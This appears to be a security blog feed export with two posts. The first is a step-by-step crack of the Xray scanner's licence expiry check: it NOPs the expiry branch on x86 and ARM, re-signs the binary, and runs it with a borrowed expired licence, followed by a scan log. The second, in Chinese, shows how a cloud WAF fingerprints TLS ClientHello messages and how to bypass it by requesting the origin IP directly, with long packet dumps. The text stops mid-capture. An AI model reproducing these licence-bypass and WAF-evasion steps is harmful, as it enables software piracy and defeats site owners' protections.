AresX's Blog 2023-12-24T10:57:55.928Z https://ares-x.com/ AresX Hexo Xray Crack Patching https://ares-x.com/2023/12/24/Xray-Crack/ 2023-12-24T08:59:14.000Z 2023-12-24T10:57:55.928Z Write this blog due to Xray was EOL. Last version 1.9.11.

1. Patching Walkthrough for x86

  1. run program
1
2
./xray_darwin_amd64
this license is expired, expiration time is 2022-08-03 08:00:00
  1. find and locate string
1
2
3
4
00000000: 74 68 69 73 20 6c 69 63 65 6e 73 65 20 69 73 20  this license is 
00000010: 65 78 70 69 72 65 64 2c 20 65 78 70 69 72 61 74 expired, expirat
00000020: 69 6f 6e 20 74 69 6d 65 20 69 73 20 25 73 ion time is %s

  1. find references
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
04f92ba3  e838fdffff         call    sub_4f928e0
04f92ba8 440f11bc24980000…movups xmmword [rsp+0x98 {var_48}], xmm15
04f92bb1 e8eabf07ff call sub_400eba0
04f92bb6 488d0dc3d46800 lea rcx, [rel data_5620080]
04f92bbd 48898c2498000000 mov qword [rsp+0x98 {var_48}], rcx {data_5620080}
04f92bc5 48898424a0000000 mov qword [rsp+0xa0 {var_48+0x8}], rax
04f92bcd 488d05657aab00 lea rax, [rel data_5a4a639] {"this license is expired, expirat…"}
04f92bd4 bb2e000000 mov ebx, 0x2e
04f92bd9 488d8c2498000000 lea rcx, [rsp+0x98 {var_48}]
04f92be1 bf01000000 mov edi, 0x1
04f92be6 4889fe mov rsi, rdi {0x1}
04f92be9 e8d21417ff call sub_41040c0
04f92bee 4889d9 mov rcx, rbx {0x2e}
04f92bf1 4889c3 mov rbx, rax
04f92bf4 31c0 xor eax, eax {0x0}
04f92bf6 488bac24d8000000 mov rbp, qword [rsp+0xd8 {__saved_rbp}]
04f92bfe 4881c4e0000000 add rsp, 0xe0
04f92c05 c3 retn {__return_addr}

04f92ba3 was jumped from 04f92a26

1
2
3
04f92a1f  488b5838           mov     rbx, qword [rax+0x38]
04f92a23 4839fb cmp rbx, rdi
04f92a26 0f8c77010000 jl 0x4f92ba3
  1. NOP the jl to force ignore license expire date
1
2
3
4
5
6
7
8
04f92a1f  488b5838           mov     rbx, qword [rax+0x38]
04f92a23 4839fb cmp rbx, rdi
04f92a26 90 nop
04f92a27 90 nop
04f92a28 90 nop
04f92a29 90 nop
04f92a2a 90 nop
04f92a2b 90 nop
  1. save binary as xray_darwin_amd642

2. Test Patched Binary

need a expired license , can be found anywhere.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
chmod +x ./xray_darwin_amd642 && ./xray_darwin_amd642

____ ___.________. ____. _____.___.
\ \/ /\_ __ \ / _ \ \__ | |
\ / | _ _/ / /_\ \ / | |
/ \ | | \/ | \ \____ |
\___/\ \ |____| /\____|_ / / _____/
\_/ \_/ \_/ \/

Version: 1.9.11/eb0c331d/COMMUNITY-ADVANCED
Licensed to tangshoupu, license is valid until 2022-08-03 08:00:00

NAME:
xray - A powerful scanner engine [https://docs.xray.cool]

USAGE:
[global options] command [command options] [arguments...]

COMMANDS:
webscan, ws Run a webscan task
servicescan, ss Run a service scan task
subdomain, sd Run a subdomain task
poclint, pl, lint lint yaml poc
burp-gamma, btg Convert the export file of burp historical proxy records to POC format
transform transform other script to gamma
reverse Run a standalone reverse server
convert convert results from json to html or from html to json
genca GenerateToFile CA certificate and key
upgrade check new version and upgrade self if any updates found
version Show version info
x A command that enables all plugins.
You can customize new commands or modify the plugins enabled by a command in the configuration file.
help, h Shows a list of commands or help for one command

GLOBAL OPTIONS:
--config FILE Load configuration from FILE (default: "config.yaml")
--log-level value Log level, choices are debug, info, warn, error, fatal
--help, -h show help
[INFO] 2023-12-24 18:16:39 [default:entry.go:226] Loading config file from config.yaml

没有命令输入,请在终端中运行此程序。/ No command provided, please run this program in terminal.
参考链接(Help link):https://docs.xray.cool/#/guide/faq?id=no-command-provided

按任意键继续... / Press Enter to continue...


3. ARM Version

Walkthrough is 99% same as x86 version

1
2
3
4
100f14820  021c40f9   ldr     x2, [x0, #0x38]
100f14824 5f0001eb cmp x2, x1
100f14828 eb0e0054 b.lt 0x100f14a04

NOP the b.lt

1
2
3
4
5
6
7
8
100f14820  021c40f9   ldr     x2, [x0, #0x38]
100f14824 5f0001eb cmp x2, x1
100f14828 1f2003d5 nop
100f1482c 1f2003d5 nop
100f14830 a00080d2 mov x0, #0x5
100f14834 e01300f9 str x0, [sp, #0x20 {var_e0}] {0x5}
100f14838 ffff02a9 stp xzr, xzr, [sp, #0x28] {var_d0} {0x0} {0x0}

4. Exit with Killed

1
2
chmod +x ./xray_darwin_arm642 && ./xray_darwin_arm642
[1] 94656 killed ./xray_darwin_arm642

resign the binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
codesign --force --deep --sign - ./xray_darwin_arm642 && ./xray_darwin_arm642
./xray_darwin_arm642: replacing existing signature

____ ___.________. ____. _____.___.
\ \/ /\_ __ \ / _ \ \__ | |
\ / | _ _/ / /_\ \ / | |
/ \ | | \/ | \ \____ |
\___/\ \ |____| /\____|_ / / _____/
\_/ \_/ \_/ \/

Version: 1.9.11/eb0c331d/COMMUNITY-ADVANCED
Licensed to tangshoupu, license is valid until 2022-08-03 08:00:00

NAME:
xray - A powerful scanner engine [https://docs.xray.cool]

USAGE:
[global options] command [command options] [arguments...]

COMMANDS:
webscan, ws Run a webscan task
servicescan, ss Run a service scan task
subdomain, sd Run a subdomain task
poclint, pl, lint lint yaml poc
burp-gamma, btg Convert the export file of burp historical proxy records to POC format
transform transform other script to gamma
reverse Run a standalone reverse server
convert convert results from json to html or from html to json
genca GenerateToFile CA certificate and key
upgrade check new version and upgrade self if any updates found
version Show version info
x A command that enables all plugins.
You can customize new commands or modify the plugins enabled by a command in the configuration file.
help, h Shows a list of commands or help for one command

GLOBAL OPTIONS:
--config FILE Load configuration from FILE (default: "config.yaml")
--log-level value Log level, choices are debug, info, warn, error, fatal
--help, -h show help
[INFO] 2023-12-24 18:38:53 [default:entry.go:226] Loading config file from config.yaml

没有命令输入,请在终端中运行此程序。/ No command provided, please run this program in terminal.
参考链接(Help link):https://docs.xray.cool/#/guide/faq?id=no-command-provided

按任意键继续... / Press Enter to continue...

5. Verify Advanced License Workable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
./xray_darwin_arm642 webscan --url http://127.0.0.1:8080/

____ ___.________. ____. _____.___.
\ \/ /\_ __ \ / _ \ \__ | |
\ / | _ _/ / /_\ \ / | |
/ \ | | \/ | \ \____ |
\___/\ \ |____| /\____|_ / / _____/
\_/ \_/ \_/ \/

Version: 1.9.11/eb0c331d/COMMUNITY-ADVANCED
Licensed to tangshoupu, license is valid until 2022-08-03 08:00:00

[INFO] 2023-12-24 18:51:05 [default:entry.go:226] Loading config file from config.yaml
[!] Warning: you should use --html-output, --webhook-output or --json-output to persist your scan result

Enabled plugins: [dirscan xss baseline crlf-injection jsonp sqldet fastjson xxe shiro thinkphp xstream brute-force cmd-injection path-traversal redirect ssrf upload phantasm struts]

[INFO] 2023-12-24 18:51:05 [phantasm:phantasm.go:185] 819 pocs have been loaded (debug level will show more details)
[INFO] 2023-12-24 18:51:05 [shiro:shiro.go:92] shiro key count 117
These plugins will be disabled as reverse server is not configured, check out the reference to fix this error.
Ref: https://docs.xray.cool/#/configration/reverse
Plugins:
fastjson/fastjson/cve-2022-25845
fastjson/fastjson/deserialization
poc-go-apache-log4j2-rce
poc-go-weblogic-cve-2023-21839
poc-yaml-apache-druid-kafka-rce
poc-yaml-apache-spark-rce-cve-2022-33891
poc-yaml-dlink-cve-2019-16920-rce
poc-yaml-dotnetnuke-cve-2017-0929-ssrf
poc-yaml-drawio-cve-2022-1713-ssrf
poc-yaml-full-read-ssrf-in-spring-cloud-netflix
poc-yaml-ghostscript-cve-2018-19475-rce
poc-yaml-gitlab-cve-2021-22214-ssrf
poc-yaml-httpd-ssrf-cve-2021-40438
poc-yaml-jenkins-cve-2018-1000600
poc-yaml-jira-cve-2019-11581
poc-yaml-jira-ssrf-cve-2019-8451
poc-yaml-keycloak-cve-2020-10770-ssrf
poc-yaml-kibana-cve-2019-7609-rce
poc-yaml-landray-oa-datajson-rce
poc-yaml-lg-n1a1-nas-cnnvd-201607-467-rce
poc-yaml-mongo-express-cve-2019-10758
poc-yaml-oracle-ebs-cve-2018-3167-ssrf
poc-yaml-pandorafms-cve-2019-20224-rce
poc-yaml-php-imap-cve-2018-19518-rce
poc-yaml-ruanhong-oa-xxe
poc-yaml-saltstack-cve-2020-16846
poc-yaml-solr-cve-2017-12629-xxe
poc-yaml-spiderflow-save-remote-command-execute
poc-yaml-spring-cloud-gateway-cve-2022-22947-rce
poc-yaml-supervisord-cve-2017-11610
poc-yaml-wavlink-cve-2020-13117-rce
poc-yaml-weblogic-cve-2017-10271
poc-yaml-yongyou-nc-iupdateservice-xxe
poc-yaml-zoho-manageengine-adaudit-plus-cve-2022-28219-xxe
ssrf/ssrf/default
struts/s2-052/default
struts/s2-059/default
struts/s2-061/default
struts/s2-062/default
xstream/Arbitrary-File-Deletion/CVE-2020-26259
xstream/Arbitrary-File-Deletion/CVE-2021-21343
xstream/DoS/CVE-2021-21341
xstream/DoS/CVE-2021-21348
xstream/DoS/CVE-2021-39140
xstream/RCE(LDAP)/CVE-2021-21344
xstream/RCE(LDAP)/CVE-2021-39141
xstream/RCE(LDAP)/CVE-2021-39146
xstream/RCE/CVE-2013-7285
xstream/RCE/CVE-2020-26217
xstream/RCE/CVE-2021-21345
xstream/RCE/CVE-2021-21346
xstream/RCE/CVE-2021-21347
xstream/RCE/CVE-2021-21350
xstream/RCE/CVE-2021-21351
xstream/RCE/CVE-2021-39139
xstream/RCE/CVE-2021-39144
xstream/RCE/CVE-2021-39145
xstream/RCE/CVE-2021-39147
xstream/RCE/CVE-2021-39148
xstream/RCE/CVE-2021-39149
xstream/RCE/CVE-2021-39151
xstream/RCE/CVE-2021-39153
xstream/RCE/CVE-2021-39154
xstream/SSRF/CVE-2020-26258
xstream/SSRF/CVE-2021-21342
xstream/SSRF/CVE-2021-21349
xstream/SSRF/CVE-2021-39150
xstream/SSRF/CVE-2021-39152
xxe/xxe/blind


[INFO] 2023-12-24 18:51:05 [default:dispatcher.go:444] processing GET http://127.0.0.1:8080/
[INFO] 2023-12-24 18:51:05 script poc-yaml-pbootcms-rce-cve-2022-32417 run payload linux
[INFO] 2023-12-24 18:51:05 script poc-yaml-pbootcms-rce-cve-2022-32417 run payload windows
[INFO] 2023-12-24 18:51:05 [shiro:default.go:82] checking cookie names [rememberMe]
[INFO] 2023-12-24 18:51:05 [shiro:default.go:88] target is shiro, trying get shiro key with mode gcm
[INFO] 2023-12-24 18:51:06 script poc-yaml-alibaba-nacos-v1-auth-bypass run payload hasPrefix
[INFO] 2023-12-24 18:51:06 script poc-yaml-alibaba-nacos-v1-auth-bypass run payload nonePrefix
[INFO] 2023-12-24 18:51:06 script poc-yaml-php-proxy-cve-2018-19458-fileread run payload linux
[INFO] 2023-12-24 18:51:07 script poc-yaml-php-proxy-cve-2018-19458-fileread run payload win
[INFO] 2023-12-24 18:51:08 script poc-yaml-mantisbt-cve-2017-7615-unauth run payload req01
[INFO] 2023-12-24 18:51:08 script poc-yaml-laravel-filemanager-cve-2022-40734-path-traversal run payload req01
[INFO] 2023-12-24 18:51:08 script poc-yaml-mantisbt-cve-2017-7615-unauth run payload req02
[INFO] 2023-12-24 18:51:09 script poc-yaml-circarlife-scada-cve-2018-12634-info-leak run payload req01
[INFO] 2023-12-24 18:51:09 script poc-yaml-laravel-filemanager-cve-2022-40734-path-traversal run payload req02
[INFO] 2023-12-24 18:51:09 script poc-yaml-mantisbt-cve-2017-7615-unauth run payload req03
[INFO] 2023-12-24 18:51:09 script poc-yaml-mantisbt-cve-2017-7615-unauth run payload req04
[INFO] 2023-12-24 18:51:09 script poc-yaml-circarlife-scada-cve-2018-12634-info-leak run payload req02
[INFO] 2023-12-24 18:51:09 script poc-yaml-bitbucket-unauth run payload path01
[INFO] 2023-12-24 18:51:09 script poc-yaml-mantisbt-cve-2017-7615-unauth run payload req05
[INFO] 2023-12-24 18:51:09 script poc-yaml-adobe-experience-manager-cve-2019-8086-xxe run payload linux
[INFO] 2023-12-24 18:51:09 script poc-yaml-adobe-experience-manager-cve-2019-8086-xxe run payload win
[INFO] 2023-12-24 18:51:10 script poc-yaml-bitbucket-unauth run payload path02
[INFO] 2023-12-24 18:51:10 script poc-yaml-bitbucket-unauth run payload path03
[*] scanned: 0, pending: 1, requestSent: 659, latency: 162.86ms, failedRatio: 0.00%
[INFO] 2023-12-24 18:51:10 script poc-yaml-bitbucket-unauth run payload path04
[INFO] 2023-12-24 18:51:10 script poc-yaml-gurock-testrail-cve-2021-40875-info-leak run payload req01
[INFO] 2023-12-24 18:51:10 script poc-yaml-bitbucket-unauth run payload path05
[INFO] 2023-12-24 18:51:10 script poc-yaml-gurock-testrail-cve-2021-40875-info-leak run payload req02
[INFO] 2023-12-24 18:51:11 script poc-yaml-bitbucket-unauth run payload path06
[INFO] 2023-12-24 18:51:11 script poc-yaml-bitbucket-unauth run payload path07
[INFO] 2023-12-24 18:51:11 script poc-yaml-bitbucket-unauth run payload path08
[INFO] 2023-12-24 18:51:11 script poc-yaml-wanhu-ezoffice-documentedit-sqli run payload oracle
[INFO] 2023-12-24 18:51:11 script poc-yaml-wanhu-ezoffice-documentedit-sqli run payload mysql
[INFO] 2023-12-24 18:51:11 script poc-yaml-glpi-telemetry-cve-2021-39211-info-leak run payload req01
[INFO] 2023-12-24 18:51:11 script poc-yaml-glpi-telemetry-cve-2021-39211-info-leak run payload req02
[INFO] 2023-12-24 18:51:11 script poc-yaml-wanhu-ezoffice-documentedit-sqli run payload mssql
[INFO] 2023-12-24 18:51:11 script poc-yaml-manageengine-servicedesk-cve-2017-11512-lfi run payload windows
[INFO] 2023-12-24 18:51:12 script poc-yaml-kevinlab-bems-backdoor-cve-2021-37292 run payload p1
[INFO] 2023-12-24 18:51:12 script poc-yaml-manageengine-servicedesk-cve-2017-11512-lfi run payload linux
[INFO] 2023-12-24 18:51:12 script poc-yaml-kevinlab-bems-backdoor-cve-2021-37292 run payload p2
[INFO] 2023-12-24 18:51:13 [shiro:default.go:88] target is shiro, trying get shiro key with mode cbc
[Vuln: shiro]
Target "http://127.0.0.1:8080/"
VulnType "shiro/default-key"
key "kPH+bIxk5D2deZiIxcaaaA=="
cookie_name "rememberMe"
origin_count "1"
current_count "0"
mode "cbc"

[INFO] 2023-12-24 18:51:13 [shiro:deserialization.go:73] shiro key is kPH+bIxk5D2deZiIxcaaaA==, cookie key is rememberMe
[INFO] 2023-12-24 18:51:13 [shiro:deserialization.go:74] now trying to check tomcat echo
[Vuln: shiro]
Target "http://127.0.0.1:8080/"
VulnType "shiro/rememberme-deserialization"
cookie_name "rememberMe"
follow_redirect "true"
mode "cbc"
key "kPH+bIxk5D2deZiIxcaaaA=="
gadget "CommonsCollectionsK1"
gadget_type "tomcat_echo"

[INFO] 2023-12-24 18:51:13 [controller:dispatcher.go:553] wait for reverse server finished
[*] All pending requests have been scanned
[*] scanned: 1, pending: 0, requestSent: 1148, latency: 117.57ms, failedRatio: 0.00%
[INFO] 2023-12-24 18:51:16 [controller:dispatcher.go:573] controller released, task done
]]>
<p>Write this blog due to <a href="https://github.com/chaitin/xray">Xray</a> was EOL. Last version 1.9.11. </p> <h1 id="1-Patching-Walkthrou
SSL 指纹识别和绕过 https://ares-x.com/2021/04/18/SSL-%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E5%92%8C%E7%BB%95%E8%BF%87/ 2021-04-17T17:53:07.000Z 2023-12-24T09:01:53.810Z SSL Fingerprint and Bypass

之前搞某个网站发现使用不同客户端发起请求会有不同的响应结果,就很神奇

Python 403 Burp 200?

先看两个不同客户端发起的请求结果

Burp

image-20210417230416894

Python3 Requests

同样的请求复制到python3中用requests发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body data-spm="7663354">
<div data-spm="1998410538">
<div class="header">
<div class="container">
<div class="message">
很抱歉,由于您访问的URL有可能对网站造成安全威胁,您的访问被阻断。
<div>您的请求ID是: <strong>
276aedd416186716424122798e3951</strong></div>
</div>
</div>
</div>
<div class="main">
<div class="container">

一样的请求地址一样的参数一样的http header,burp发送的请求正常响应,python发送的被waf拦截,curl模拟请求也被拦截

waf 是阿里云的waf,dig域名也能看出来 ,cname 解析到了xxx.yundunwaf3.com

多地ping发现并没有cdn,不是cdnwaf

其实第一种解决方法已经出来了,直接ping域名获取真实ip,request直接请求ip地址,在Header中指定Host即可绕过waf的弱智拦截

网上搜了一下相关内容

image-20210418010259647

本来以为是ua的问题,后来更换了ua发现并没有什么卵用

问了问朋友,说python的tls握手有特征

在网上搜了一下,发现确实有很多类似的问题

不同客户端的ClientHello报文

掏出了安装完从来没用过的wireshark抓了几个不同客户端的请求包

客户端发起https的请求第一步是向服务器发送tls握手请求,其中就包含了客户端的一些特征

相关内容在tls协议报文中Client HelloTransport Layer Security当中

image-20210417235004781

抓了几个常用客户端的流量瞅瞅

CURL ClientHello

1
curl 7.76.0 (x86_64-apple-darwin19.6.0) libcurl/7.76.0 (SecureTransport) OpenSSL/1.1.1k zlib/1.2.11 brotli/1.0.9 zstd/1.4.9 libidn2/2.3.0 libssh2/1.9.0 nghttp2/1.43.0 librtmp/2.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 512
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 508
Version: TLS 1.2 (0x0303)
Random: b828dcc000f8561e4075538e80c600cfd74ae17371213a4cefd39888aaed48da
GMT Unix Time: Nov 28, 2067 14:01:36.000000000 CST
Random Bytes: 00f8561e4075538e80c600cfd74ae17371213a4cefd39888aaed48da
Session ID Length: 32
Session ID: c27bcf013c1e94fa502967ee1a1249b6aa73f381af1eff935e0fc05ee1e22764
Cipher Suites Length: 62
Cipher Suites (31 suites)
Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca9)
Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
Cipher Suite: TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 373
Extension: server_name (len=22)
Type: server_name (0)
Length: 22
Server Name Indication extension
Server Name list length: 20
Server Name Type: host_name (0)
Server Name length: 17
Server Name: xxxx.xxxx.com
Extension: ec_point_formats (len=4)
Type: ec_point_formats (11)
Length: 4
EC point formats Length: 3
Elliptic curves point formats (3)
EC point format: uncompressed (0)
EC point format: ansiX962_compressed_prime (1)
EC point format: ansiX962_compressed_char2 (2)
Extension: supported_groups (len=12)
Type: supported_groups (10)
Length: 12
Supported Groups List Length: 10
Supported Groups (5 groups)
Extension: next_protocol_negotiation (len=0)
Type: next_protocol_negotiation (13172)
Length: 0
Extension: application_layer_protocol_negotiation (len=14)
Type: application_layer_protocol_negotiation (16)
Length: 14
ALPN Extension Length: 12
ALPN Protocol
ALPN string length: 2
ALPN Next Protocol: h2
ALPN string length: 8
ALPN Next Protocol: http/1.1
Extension: encrypt_then_mac (len=0)
Type: encrypt_then_mac (22)
Length: 0
Extension: extended_master_secret (len=0)
Type: extended_master_secret (23)
Length: 0
Extension: post_handshake_auth (len=0)
Type: post_handshake_auth (49)
Length: 0
Extension: signature_algorithms (len=48)
Type: signature_algorithms (13)
Length: 48
Signature Hash Algorithms Length: 46
Signature Hash Algorithms (23 algorithms)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp521r1_sha512 (0x0603)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ed25519 (0x0807)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (7)
Signature Algorithm: ed448 (0x0808)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (8)
Signature Algorithm: rsa_pss_pss_sha256 (0x0809)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (9)
Signature Algorithm: rsa_pss_pss_sha384 (0x080a)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (10)
Signature Algorithm: rsa_pss_pss_sha512 (0x080b)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (11)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (4)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
Signature Algorithm: rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 ECDSA (0x0303)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_sha1 (0x0203)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: SHA224 RSA (0x0301)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha1 (0x0201)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 DSA (0x0302)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA1 DSA (0x0202)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA256 DSA (0x0402)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA384 DSA (0x0502)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA512 DSA (0x0602)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: DSA (2)
Extension: supported_versions (len=9)
Type: supported_versions (43)
Length: 9
Supported Versions length: 8
Supported Version: TLS 1.3 (0x0304)
Supported Version: TLS 1.2 (0x0303)
Supported Version: TLS 1.1 (0x0302)
Supported Version: TLS 1.0 (0x0301)
Extension: psk_key_exchange_modes (len=2)
Type: psk_key_exchange_modes (45)
Length: 2
PSK Key Exchange Modes Length: 1
PSK Key Exchange Mode: PSK with (EC)DHE key establishment (psk_dhe_ke) (1)
Extension: key_share (len=38)
Type: key_share (51)
Length: 38
Key Share extension
Extension: padding (len=172)
Type: padding (21)
Length: 172
Padding Data: 000000000000000000000000000000000000000000000000000000000000000000000000…

Python3 Requests

1
2
3
macOS 10.15.7
requests 2.23.0
OpenSSL 1.1.1f 31 Mar 2020
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 338
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 334
Version: TLS 1.2 (0x0303)
Random: ba70fc87a4c2f484780452456788606ce8c7143580264df3c3a29ae1d0b6b7a4
GMT Unix Time: Feb 13, 2069 15:40:55.000000000 CST
Random Bytes: a4c2f484780452456788606ce8c7143580264df3c3a29ae1d0b6b7a4
Session ID Length: 32
Session ID: b5aed6d7fa7c369cea55573184dfc73d096c53eca3a9702ce48ce1381e525ade
Cipher Suites Length: 86
Cipher Suites (43 suites)
Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
